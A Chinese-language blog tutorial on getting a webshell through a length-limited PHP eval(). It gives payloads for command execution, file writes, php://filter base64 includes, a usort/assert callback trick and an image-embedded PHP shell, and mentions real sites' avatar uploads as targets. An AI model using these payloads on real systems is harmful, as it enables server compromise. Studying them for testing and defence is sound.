EVAL长度限制突破方法

发布于:2025-07-25 ⋅ 阅读:(13) ⋅ 点赞:(0)

EVAL长度限制突破方法

<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //长度小于17,没有eval和assert关键字
{
    eval($param);
}
//stripos — 查找字符串首次出现的位置(不区分大小写)

在这里插入图片描述

eval函数参数限制在16个字符的情况下,如何拿到Webshell?

`$_GET[1]’

相似答案:

exec($_GET[1]); 

linux下反引号可以执行命令

?param=echo $_GET[0];&0=id

在这里插入图片描述

那么就可以写一些内容到一些文件里去

在这里插入图片描述

再访问一下

param=echo%20$_GET[0];&0=param=echo $_GET[0];&0=echo ‘<?php phpinfo();’ > a.php

写入成功

在这里插入图片描述

也可以使用base64编码写入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php

param=$_GET1;

param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents将数据写入文件
......
最后把PD9waHAgcGhwaW5mbygpOw写进文件N。
那怎么解码执行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read读取N里面的内容进行base64解码。虽然N不是php文件,但是文件包含可以把任意一个文件里面的php代码执行起来

php:// — 访问各个输入/输出流(I/O streams)
php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。(可用的过滤器:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器)
这里用转换过滤器:convert.base64-encode 和 convert.base64-decode。使用这两个过滤器等同于分别用 base64_encode()base64_decode() 函数处理所有的流数据。
文件包含

找一张普通图片

在这里插入图片描述

写一个php文件
在这里插入图片描述

copy /b 001.png + web.php /a web.jpg----------/b → 表示以二进制模式处理 001.png

​ + → 表示合并文件。

​ web.php→ 第二个文件。

​ /a→ 表示以 ASCII 文本模式 处理 web.php。

​ web.jpg → 最终输出的文件名。

在这里插入图片描述

web.jpg可以正常打开看到图片,使用记事本打开图片,可以在文件的最后看到写入的php代码。

在这里插入图片描述

很多网站都有上传图片的功能(上传头像等),上传之后检查代码就可以看到上传的路径,用include_$GET[‘文件路径’]就可以了。

在这里插入图片描述

在这里插入图片描述

文件包含可以把任意一个文件里面的php代码执行起来

在这里插入图片描述

usort(…$_GET);

?1[]=test&1[]=phpinfo();&2=assert

在windows上访问

在这里插入图片描述

使用BurpSuite抓包

在这里插入图片描述

抓到之后发送给Repeater,然后转换为POST

在这里插入图片描述

在这里插入图片描述

在php的整体运行流程中允许POST和GET同步执行

(…$_GET(变长参数))把1[]=test&1[]=phpinfo();&2=assert接过来了,然后就放到usort中,一个数组,一个回调函数。

在这里插入图片描述

发送

在这里插入图片描述


网站公告

今日签到

点亮在社区的每一天
去签到